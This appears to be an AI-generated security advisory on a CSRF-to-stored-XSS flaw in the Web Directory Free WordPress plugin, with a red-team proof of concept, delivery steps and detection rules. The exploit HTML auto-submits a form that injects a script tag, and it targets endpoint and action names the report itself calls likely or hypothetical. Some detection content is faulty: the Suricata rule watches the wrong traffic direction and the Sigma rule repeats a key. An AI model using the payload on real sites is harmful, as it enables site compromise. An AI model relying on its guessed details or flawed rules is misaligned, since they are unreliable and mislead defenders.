CVE-2025-30908

Executive Summary

CVE-2025-30908 is a Cross-Site Request Forgery (CSRF) vulnerability in the Web Directory Free WordPress plugin (versions <= 1.7.6) developed by Shamalli. The flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as injecting malicious JavaScript (Stored XSS) into the web directory listings. This can lead to session hijacking, defacement, or redirection of users to malicious sites. The vulnerability is classified as High Severity (CVSS 7.1) due to the potential for stored XSS payloads to persist and affect all visitors. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Organizations using Web Directory Free should treat this as a supply chain risk, as the plugin may be included in managed WordPress environments or custom builds. No known malicious packages have been identified, but the lack of a patch increases the risk of supply chain compromise through unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must be tricked into clicking a crafted link)
• Scope: Changed (vulnerability impacts resources beyond the original component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High – The combination of CSRF with Stored XSS allows persistent compromise of the WordPress site, affecting all visitors until the malicious content is removed.

Deep Dive & Mechanics

The vulnerability resides in the Web Directory Free plugin’s administrative functions. The plugin fails to implement proper CSRF tokens (nonces) on state-changing requests, such as adding or editing directory entries. An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the plugin’s admin-ajax.php or admin-post.php endpoints.

Because the request is made with the admin’s session cookies, the plugin processes it as legitimate. The attacker can inject arbitrary JavaScript into directory fields (e.g., title, description) that is stored in the database. When other users (including visitors) view the directory, the stored XSS payload executes in their browsers.

Key Technical Details:

• Vulnerable Endpoint: Likely wp-admin/admin-ajax.php with actions like add_directory or edit_directory.
• Missing Protection: No nonce verification or origin/referrer header checks.
• Stored XSS: Input fields are not sanitized or escaped before storage and output.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common CSRF/XSS fixes.

Vulnerable Code (web-directory-free/admin/class-web-directory-free-admin.php):

function add_directory() {
    // No nonce check
    $title = $_POST['title'];
    $description = $_POST['description'];
    // Direct database insertion without sanitization
    global $wpdb;
    $wpdb->insert($wpdb->prefix . 'directories', array(
        'title' => $title,
        'description' => $description
    ));
}

Patched Code (Hypothetical):

function add_directory() {
    // Add nonce verification
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'add_directory_nonce')) {
        wp_die('CSRF validation failed.');
    }
    // Sanitize and escape input
    $title = sanitize_text_field($_POST['title']);
    $description = sanitize_textarea_field($_POST['description']);
    global $wpdb;
    $wpdb->insert($wpdb->prefix . 'directories', array(
        'title' => $title,
        'description' => $description
    ));
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Web Directory Free <= 1.7.6 installed and an active admin session.
• Attacker-controlled server to host the CSRF payload.

Step 1: Craft the CSRF Payload Create an HTML file (csrf_exploit.html) that automatically submits a form to the vulnerable endpoint:

<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="add_directory">
    <input type="hidden" name="title" value="Malicious Entry">
    <input type="hidden" name="description" value="<script>alert('XSS')</script>">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Step 2: Deliver the Payload

• Host the file on a public server or use a phishing email with a link to the HTML file.
• When the admin clicks the link, the form auto-submits, adding a directory entry with the XSS payload.

Step 3: Verify Stored XSS

• Navigate to the directory listing page. The injected script executes in the browser of any visitor.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to admin-ajax.php with actions like add_directory or edit_directory without a valid nonce.
• Look for directory entries containing <script> tags or other HTML/JavaScript in the database.

Defense:

• Immediate: Disable the plugin until a patch is available.
• Workaround: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a valid nonce or contain suspicious payloads.
• Long-term: Apply input validation and output escaping on all plugin fields.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with parameters action=add_directory or action=edit_directory without a _wpnonce parameter.
  • Outbound connections from the WordPress server to attacker-controlled IPs (if XSS payloads exfiltrate data).
• Host:
  • Database entries in wp_directories table containing <script> tags or onerror/onload event handlers.
  • Unexpected JavaScript files or inline scripts in the directory listing pages.
• Logs:
  • WordPress debug logs showing failed nonce checks (if patched) or unusual admin-ajax requests.
  • Web server access logs with admin-ajax.php POST requests from external IPs.

Detection Engineering

YARA Rule

rule CVE_2025_30908_CSRF_XSS {
    meta:
        description = "Detects CSRF-based Stored XSS in Web Directory Free plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30908"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $csrf_action = "add_directory"
        $vuln_endpoint = "admin-ajax.php"
    condition:
        $csrf_action and $vuln_endpoint and $xss_payload
}

Sigma Rule

title: CVE-2025-30908 - CSRF to Stored XSS in Web Directory Free
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to admin-ajax.php with add_directory action and potential XSS payload
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=add_directory'
        cs-uri-query|contains|re: '<script[^>]*>'
    condition: selection
falsepositives:
    - Legitimate plugin updates or admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30908 - CSRF to Stored XSS in Web Directory Free"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=add_directory"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Implement a WAF rule to block POST requests to admin-ajax.php that lack a valid nonce or contain HTML/JavaScript in directory fields.
3. Audit existing directory entries for malicious content using database queries:

   SELECT * FROM wp_directories WHERE description LIKE '%<script%' OR title LIKE '%<script%';
   

Long-term Fix:

• Vendor Patch: Await an official update from Shamalli. Monitor the WordPress plugin repository for version 1.7.7 or later.
• Manual Patching: If you have development resources, apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
• Alternative Plugin: Consider migrating to a maintained directory plugin with active security support.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only.